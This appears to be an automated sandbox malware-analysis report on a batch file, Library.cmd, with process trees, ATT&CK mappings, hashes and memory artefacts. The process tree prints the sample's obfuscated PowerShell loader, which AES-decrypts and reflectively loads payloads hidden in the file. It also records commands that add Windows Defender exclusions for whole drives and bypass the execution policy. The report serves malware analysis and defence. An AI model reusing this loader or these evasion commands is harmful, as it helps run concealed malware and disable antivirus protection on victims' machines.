1a357366ee69f83a9c091ee775a44e5cc0fbc2524a50332f9ed261f9ca2d727b

Resubmissions

25/07/2024, 23:32

240725-3jrj5sverf 8

25/07/2024, 19:34

240725-x96h4azenm 8

25/07/2024, 17:53

240725-wgedgaveml 8

25/07/2024, 17:32

240725-v4d6jsxekd 8

Analysis

max time kernel
294s
max time network
316s
platform
windows10-2004_x64
resource
win10v2004-20240704-en
resource tags

arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
submitted
25/07/2024, 23:32

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Library.cmd
Size

3.3MB
MD5

705ac80b02f73faec8180190bd2b8ce2
SHA1

4f1e20556015edeee8795ea7ef6137b4341b3d80
SHA256

1a357366ee69f83a9c091ee775a44e5cc0fbc2524a50332f9ed261f9ca2d727b
SHA512

da1981a69dee947f2e490c07d452a2881b7a01d09bd6de70ebd9df648db6d8804bbdccff62c40d1a6796ff77ce107cfd01f1dce24369b2b973081c78e5d0de56
SSDEEP

49152:8e90YDSczQOfmBTZ7fSU13LvMeEZng0PJFGrbxM+:0

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
26	676	powershell.exe
33	676	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1368	powershell.exe
4332	powershell.exe
5080	powershell.exe
2324	powershell.exe
1876	powershell.exe
744	powershell.exe
2952	powershell.exe

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	powershell.exe

Suspicious behavior: EnumeratesProcesses 26 IoCs

pid	Process
676	powershell.exe
676	powershell.exe
1876	powershell.exe
1876	powershell.exe
1368	powershell.exe
1368	powershell.exe
1368	powershell.exe
676	powershell.exe
676	powershell.exe
2804	powershell.exe
2804	powershell.exe
2804	powershell.exe
744	powershell.exe
744	powershell.exe
744	powershell.exe
4332	powershell.exe
4332	powershell.exe
4332	powershell.exe
380	powershell.exe
380	powershell.exe
2952	powershell.exe
2952	powershell.exe
5080	powershell.exe
5080	powershell.exe
2324	powershell.exe
2324	powershell.exe

Suspicious use of AdjustPrivilegeToken 10 IoCs

description	pid	Process
Token: SeDebugPrivilege	676	powershell.exe
Token: SeDebugPrivilege	1876	powershell.exe
Token: SeDebugPrivilege	1368	powershell.exe
Token: SeDebugPrivilege	2804	powershell.exe
Token: SeDebugPrivilege	744	powershell.exe
Token: SeDebugPrivilege	4332	powershell.exe
Token: SeDebugPrivilege	380	powershell.exe
Token: SeDebugPrivilege	2952	powershell.exe
Token: SeDebugPrivilege	5080	powershell.exe
Token: SeDebugPrivilege	2324	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
380	powershell.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 3988 wrote to memory of 2116	3988	cmd.exe	84
PID 3988 wrote to memory of 2116	3988	cmd.exe	84
PID 2116 wrote to memory of 1008	2116	cmd.exe	86
PID 2116 wrote to memory of 1008	2116	cmd.exe	86
PID 2116 wrote to memory of 676	2116	cmd.exe	87
PID 2116 wrote to memory of 676	2116	cmd.exe	87
PID 676 wrote to memory of 1876	676	powershell.exe	91
PID 676 wrote to memory of 1876	676	powershell.exe	91
PID 676 wrote to memory of 1368	676	powershell.exe	96
PID 676 wrote to memory of 1368	676	powershell.exe	96
PID 392 wrote to memory of 820	392	cmd.exe	110
PID 392 wrote to memory of 820	392	cmd.exe	110
PID 820 wrote to memory of 2312	820	cmd.exe	112
PID 820 wrote to memory of 2312	820	cmd.exe	112
PID 820 wrote to memory of 2804	820	cmd.exe	113
PID 820 wrote to memory of 2804	820	cmd.exe	113
PID 2804 wrote to memory of 744	2804	powershell.exe	114
PID 2804 wrote to memory of 744	2804	powershell.exe	114
PID 2804 wrote to memory of 4332	2804	powershell.exe	115
PID 2804 wrote to memory of 4332	2804	powershell.exe	115
PID 1056 wrote to memory of 1204	1056	cmd.exe	123
PID 1056 wrote to memory of 1204	1056	cmd.exe	123
PID 1204 wrote to memory of 780	1204	cmd.exe	125
PID 1204 wrote to memory of 780	1204	cmd.exe	125
PID 1204 wrote to memory of 380	1204	cmd.exe	126
PID 1204 wrote to memory of 380	1204	cmd.exe	126
PID 380 wrote to memory of 2952	380	powershell.exe	127
PID 380 wrote to memory of 2952	380	powershell.exe	127
PID 380 wrote to memory of 5080	380	powershell.exe	128
PID 380 wrote to memory of 5080	380	powershell.exe	128

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Library.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:3988
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\Library.cmd
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2116
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\Library.cmd';$aYUO='LEWmKoaEWmKdEWmK'.Replace('EWmK', ''),'FEbiYrEbiYomBEbiYaseEbiY64EbiYStrEbiYinEbiYgEbiY'.Replace('EbiY', ''),'Invkamvokamvkkamvekamv'.Replace('kamv', ''),'TrvTXdavTXdnvTXdsfvTXdovTXdrmvTXdFinvTXdalvTXdBlovTXdckvTXd'.Replace('vTXd', ''),'CojZDOpjZDOyTjZDOojZDO'.Replace('jZDO', ''),'SplzVMQitzVMQ'.Replace('zVMQ', ''),'GeRWEbtRWEbCuRWEbrreRWEbntRWEbPrRWEboceRWEbsRWEbsRWEb'.Replace('RWEb', ''),'ChNhmQaNhmQnNhmQgeENhmQxNhmQtenNhmQsiNhmQonNhmQ'.Replace('NhmQ', ''),'EnoyyatoyyaryoyyaPooyyainoyyatoyya'.Replace('oyya', ''),'ElxdPsexdPsmxdPsenxdPstxdPsAtxdPs'.Replace('xdPs', ''),'Dblyiecblyiomblyipblyirblyieblyisblyisblyi'.Replace('blyi', ''),'MaAIfzinAIfzMoAIfzduAIfzleAIfz'.Replace('AIfz', ''),'RearCLadarCLLiarCLnesarCL'.Replace('arCL', ''),'CqIOIreaqIOItqIOIeDqIOIeqIOIcrqIOIypqIOItoqIOIrqIOI'.Replace('qIOI', '');powershell -w hidden;function IocxM($diQol){$NvznA=[System.Security.Cryptography.Aes]::Create();$NvznA.Mode=[System.Security.Cryptography.CipherMode]::CBC;$NvznA.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$NvznA.Key=[System.Convert]::($aYUO[1])('kL1UBtUuFDE9V9LM/Uk/WvdRxJsjj9H6CX3jPEUZ+No=');$NvznA.IV=[System.Convert]::($aYUO[1])('jvlbrCPvcqHagDjBk0TemQ==');$cPnJJ=$NvznA.($aYUO[13])();$gpChW=$cPnJJ.($aYUO[3])($diQol,0,$diQol.Length);$cPnJJ.Dispose();$NvznA.Dispose();$gpChW;}function uBxZK($diQol){$RwHhF=New-Object System.IO.MemoryStream(,$diQol);$fYqcC=New-Object System.IO.MemoryStream;$dpVKq=New-Object System.IO.Compression.GZipStream($RwHhF,[IO.Compression.CompressionMode]::($aYUO[10]));$dpVKq.($aYUO[4])($fYqcC);$dpVKq.Dispose();$RwHhF.Dispose();$fYqcC.Dispose();$fYqcC.ToArray();}$iBXfm=[System.IO.File]::($aYUO[12])([Console]::Title);$Hnkcn=uBxZK (IocxM ([Convert]::($aYUO[1])([System.Linq.Enumerable]::($aYUO[9])($iBXfm, 5).Substring(2))));$AFLeb=uBxZK (IocxM ([Convert]::($aYUO[1])([System.Linq.Enumerable]::($aYUO[9])($iBXfm, 6).Substring(2))));[System.Reflection.Assembly]::($aYUO[0])([byte[]]$AFLeb).($aYUO[8]).($aYUO[2])($null,$null);[System.Reflection.Assembly]::($aYUO[0])([byte[]]$Hnkcn).($aYUO[8]).($aYUO[2])($null,$null); "
    3⤵
    PID:1008
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    3⤵
    - Blocklisted process makes network request
    - Checks for VirtualBox DLLs, possible anti-VM trick
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:676
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1876
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1368

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2256

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Library.cmd" "
1⤵
- Suspicious use of WriteProcessMemory
PID:392
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Library.cmd"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:820
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\Library.cmd';$aYUO='LEWmKoaEWmKdEWmK'.Replace('EWmK', ''),'FEbiYrEbiYomBEbiYaseEbiY64EbiYStrEbiYinEbiYgEbiY'.Replace('EbiY', ''),'Invkamvokamvkkamvekamv'.Replace('kamv', ''),'TrvTXdavTXdnvTXdsfvTXdovTXdrmvTXdFinvTXdalvTXdBlovTXdckvTXd'.Replace('vTXd', ''),'CojZDOpjZDOyTjZDOojZDO'.Replace('jZDO', ''),'SplzVMQitzVMQ'.Replace('zVMQ', ''),'GeRWEbtRWEbCuRWEbrreRWEbntRWEbPrRWEboceRWEbsRWEbsRWEb'.Replace('RWEb', ''),'ChNhmQaNhmQnNhmQgeENhmQxNhmQtenNhmQsiNhmQonNhmQ'.Replace('NhmQ', ''),'EnoyyatoyyaryoyyaPooyyainoyyatoyya'.Replace('oyya', ''),'ElxdPsexdPsmxdPsenxdPstxdPsAtxdPs'.Replace('xdPs', ''),'Dblyiecblyiomblyipblyirblyieblyisblyisblyi'.Replace('blyi', ''),'MaAIfzinAIfzMoAIfzduAIfzleAIfz'.Replace('AIfz', ''),'RearCLadarCLLiarCLnesarCL'.Replace('arCL', ''),'CqIOIreaqIOItqIOIeDqIOIeqIOIcrqIOIypqIOItoqIOIrqIOI'.Replace('qIOI', '');powershell -w hidden;function IocxM($diQol){$NvznA=[System.Security.Cryptography.Aes]::Create();$NvznA.Mode=[System.Security.Cryptography.CipherMode]::CBC;$NvznA.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$NvznA.Key=[System.Convert]::($aYUO[1])('kL1UBtUuFDE9V9LM/Uk/WvdRxJsjj9H6CX3jPEUZ+No=');$NvznA.IV=[System.Convert]::($aYUO[1])('jvlbrCPvcqHagDjBk0TemQ==');$cPnJJ=$NvznA.($aYUO[13])();$gpChW=$cPnJJ.($aYUO[3])($diQol,0,$diQol.Length);$cPnJJ.Dispose();$NvznA.Dispose();$gpChW;}function uBxZK($diQol){$RwHhF=New-Object System.IO.MemoryStream(,$diQol);$fYqcC=New-Object System.IO.MemoryStream;$dpVKq=New-Object System.IO.Compression.GZipStream($RwHhF,[IO.Compression.CompressionMode]::($aYUO[10]));$dpVKq.($aYUO[4])($fYqcC);$dpVKq.Dispose();$RwHhF.Dispose();$fYqcC.Dispose();$fYqcC.ToArray();}$iBXfm=[System.IO.File]::($aYUO[12])([Console]::Title);$Hnkcn=uBxZK (IocxM ([Convert]::($aYUO[1])([System.Linq.Enumerable]::($aYUO[9])($iBXfm, 5).Substring(2))));$AFLeb=uBxZK (IocxM ([Convert]::($aYUO[1])([System.Linq.Enumerable]::($aYUO[9])($iBXfm, 6).Substring(2))));[System.Reflection.Assembly]::($aYUO[0])([byte[]]$AFLeb).($aYUO[8]).($aYUO[2])($null,$null);[System.Reflection.Assembly]::($aYUO[0])([byte[]]$Hnkcn).($aYUO[8]).($aYUO[2])($null,$null); "
    3⤵
    PID:2312
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2804
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:744
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4332

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Library.cmd" C:\Users\Admin\AppData\Local\Temp\Library.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:1056
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Library.cmd"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1204
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\Library.cmd';$aYUO='LEWmKoaEWmKdEWmK'.Replace('EWmK', ''),'FEbiYrEbiYomBEbiYaseEbiY64EbiYStrEbiYinEbiYgEbiY'.Replace('EbiY', ''),'Invkamvokamvkkamvekamv'.Replace('kamv', ''),'TrvTXdavTXdnvTXdsfvTXdovTXdrmvTXdFinvTXdalvTXdBlovTXdckvTXd'.Replace('vTXd', ''),'CojZDOpjZDOyTjZDOojZDO'.Replace('jZDO', ''),'SplzVMQitzVMQ'.Replace('zVMQ', ''),'GeRWEbtRWEbCuRWEbrreRWEbntRWEbPrRWEboceRWEbsRWEbsRWEb'.Replace('RWEb', ''),'ChNhmQaNhmQnNhmQgeENhmQxNhmQtenNhmQsiNhmQonNhmQ'.Replace('NhmQ', ''),'EnoyyatoyyaryoyyaPooyyainoyyatoyya'.Replace('oyya', ''),'ElxdPsexdPsmxdPsenxdPstxdPsAtxdPs'.Replace('xdPs', ''),'Dblyiecblyiomblyipblyirblyieblyisblyisblyi'.Replace('blyi', ''),'MaAIfzinAIfzMoAIfzduAIfzleAIfz'.Replace('AIfz', ''),'RearCLadarCLLiarCLnesarCL'.Replace('arCL', ''),'CqIOIreaqIOItqIOIeDqIOIeqIOIcrqIOIypqIOItoqIOIrqIOI'.Replace('qIOI', '');powershell -w hidden;function IocxM($diQol){$NvznA=[System.Security.Cryptography.Aes]::Create();$NvznA.Mode=[System.Security.Cryptography.CipherMode]::CBC;$NvznA.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$NvznA.Key=[System.Convert]::($aYUO[1])('kL1UBtUuFDE9V9LM/Uk/WvdRxJsjj9H6CX3jPEUZ+No=');$NvznA.IV=[System.Convert]::($aYUO[1])('jvlbrCPvcqHagDjBk0TemQ==');$cPnJJ=$NvznA.($aYUO[13])();$gpChW=$cPnJJ.($aYUO[3])($diQol,0,$diQol.Length);$cPnJJ.Dispose();$NvznA.Dispose();$gpChW;}function uBxZK($diQol){$RwHhF=New-Object System.IO.MemoryStream(,$diQol);$fYqcC=New-Object System.IO.MemoryStream;$dpVKq=New-Object System.IO.Compression.GZipStream($RwHhF,[IO.Compression.CompressionMode]::($aYUO[10]));$dpVKq.($aYUO[4])($fYqcC);$dpVKq.Dispose();$RwHhF.Dispose();$fYqcC.Dispose();$fYqcC.ToArray();}$iBXfm=[System.IO.File]::($aYUO[12])([Console]::Title);$Hnkcn=uBxZK (IocxM ([Convert]::($aYUO[1])([System.Linq.Enumerable]::($aYUO[9])($iBXfm, 5).Substring(2))));$AFLeb=uBxZK (IocxM ([Convert]::($aYUO[1])([System.Linq.Enumerable]::($aYUO[9])($iBXfm, 6).Substring(2))));[System.Reflection.Assembly]::($aYUO[0])([byte[]]$AFLeb).($aYUO[8]).($aYUO[2])($null,$null);[System.Reflection.Assembly]::($aYUO[0])([byte[]]$Hnkcn).($aYUO[8]).($aYUO[2])($null,$null); "
    3⤵
    PID:780
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:380
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2952
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5080

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "-Command" "if((Get-ExecutionPolicy ) -ne 'AllSigned') { Set-ExecutionPolicy -Scope Process Bypass }; & 'C:\Users\Admin\AppData\Local\Temp\Library.ps1'"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2324

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
3f01549ee3e4c18244797530b588dad9

SHA1
3e87863fc06995fe4b741357c68931221d6cc0b9

SHA256
36b51e575810b6af6fc5e778ce0f228bc7797cd3224839b00829ca166fa13f9a

SHA512
73843215228865a4186ac3709bf2896f0f68da0ba3601cc20226203dd429a2ad9817b904a45f6b0456b8be68deebf3b011742a923ce4a77c0c6f3a155522ab50

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
53KB

MD5
a26df49623eff12a70a93f649776dab7

SHA1
efb53bd0df3ac34bd119adf8788127ad57e53803

SHA256
4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245

SHA512
e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
2KB

MD5
6193b73fc3caa4a14c4ce9fee788dcfa

SHA1
327b1709d4f71998d1f0f983379a0ef2f6e3488b

SHA256
9c76611dfc0df4d615d7179b0b0f3e948cb30b2c982e956b0f76e2879f985ccd

SHA512
ec65b1c21577c5cfb8dcda15ecbef02bdc8b833929e0835e69b7a42f5a1ddc563059ec8085c76a3e3cab2ec491203df9eb8afb34a2c9ad0e9ef228db9a272dae

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
2KB

MD5
e4de99c1795fd54aa87da05fa39c199c

SHA1
dfaaac2de1490fae01104f0a6853a9d8fe39a9d7

SHA256
23c35f4fcd9f110592d3ff34490e261efbcf6c73aa753887479197fd15289457

SHA512
796b6d3f7b9a336bc347eae8fb11cdbf2ae2ad73aae58de79e096c3ad57bd45eadddae445a95c4ee7452554568d7ab55b0307972b24e2ff75eae4a098ba9e926

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
2KB

MD5
44b82bc42708880284db1dc8da607ca1

SHA1
f366bb0a6f935e7a3bae31c1e29f06b6e0a59aef

SHA256
97764261e07eca75570d3db5742bf4c2eda8d5eb854cbb48b5194d0fe6610d81

SHA512
e3617fc3ece4ba05ab3cef183f2331222e8e200930fd15116c606192e92d87a8761f37e9b72579ee4caeb82256105ff2878cda0e5acb12411128714bf272f9e5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
9a2c763c5ff40e18e49ad63c7c3b0088

SHA1
4b289ea34755323fa869da6ad6480d8d12385a36

SHA256
517807921c55bd16cd8a8bfae3d5dc19444c66f836b66acd5593e3080acbaf8e

SHA512
3af01926bc7de92076067d158d7250b206d396b3282ee0db43639d04d91bd9ff763acbce12c7822914824984a3c5fdd1b8dbf1ad2ee88233d47f0f808b746bc8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
5cfe303e798d1cc6c1dab341e7265c15

SHA1
cd2834e05191a24e28a100f3f8114d5a7708dc7c

SHA256
c4d16552769ca1762f6867bce85589c645ac3dc490b650083d74f853f898cfab

SHA512
ef151bbe0033a2caf2d40aff74855a3f42c8171e05a11c8ce93c7039d9430482c43fe93d9164ee94839aff253cad774dbf619dde9a8af38773ca66d59ac3400e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ubzr4gm0.m23.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/380-104-0x00007FFD436C0000-0x00007FFD4377E000-memory.dmp

Filesize
760KB

Download
memory/380-103-0x00007FFD437F0000-0x00007FFD439E5000-memory.dmp

Filesize
2.0MB

Download
memory/380-116-0x000002AB5A0E0000-0x000002AB5B0E0000-memory.dmp

Filesize
16.0MB

Download
memory/676-14-0x0000025839DC0000-0x0000025839E36000-memory.dmp

Filesize
472KB

Download
memory/676-32-0x00007FFD436C0000-0x00007FFD4377E000-memory.dmp

Filesize
760KB

Download
memory/676-33-0x00000258421D0000-0x000002584245A000-memory.dmp

Filesize
2.5MB

Download
memory/676-31-0x00007FFD437F0000-0x00007FFD439E5000-memory.dmp

Filesize
2.0MB

Download
memory/676-45-0x000002581F350000-0x0000025820350000-memory.dmp

Filesize
16.0MB

Download
memory/676-47-0x00007FFD25400000-0x00007FFD25EC1000-memory.dmp

Filesize
10.8MB

Download
memory/676-30-0x0000025839A80000-0x0000025839A8A000-memory.dmp

Filesize
40KB

Download
memory/676-0-0x00007FFD25403000-0x00007FFD25405000-memory.dmp

Filesize
8KB

Download
memory/676-13-0x0000025839CF0000-0x0000025839D34000-memory.dmp

Filesize
272KB

Download
memory/676-12-0x00007FFD25400000-0x00007FFD25EC1000-memory.dmp

Filesize
10.8MB

Download
memory/676-11-0x00007FFD25400000-0x00007FFD25EC1000-memory.dmp

Filesize
10.8MB

Download
memory/676-1-0x00000258398D0000-0x00000258398F2000-memory.dmp

Filesize
136KB

Download
memory/1876-15-0x00007FFD25400000-0x00007FFD25EC1000-memory.dmp

Filesize
10.8MB

Download
memory/1876-29-0x00007FFD25400000-0x00007FFD25EC1000-memory.dmp

Filesize
10.8MB

Download
memory/1876-26-0x00007FFD25400000-0x00007FFD25EC1000-memory.dmp

Filesize
10.8MB

Download
memory/1876-25-0x00007FFD25400000-0x00007FFD25EC1000-memory.dmp

Filesize
10.8MB

Download
memory/2804-82-0x000001E86F900000-0x000001E870900000-memory.dmp

Filesize
16.0MB

Download
memory/2804-69-0x00007FFD437F0000-0x00007FFD439E5000-memory.dmp

Filesize
2.0MB

Download
memory/2804-70-0x00007FFD436C0000-0x00007FFD4377E000-memory.dmp

Filesize
760KB

Download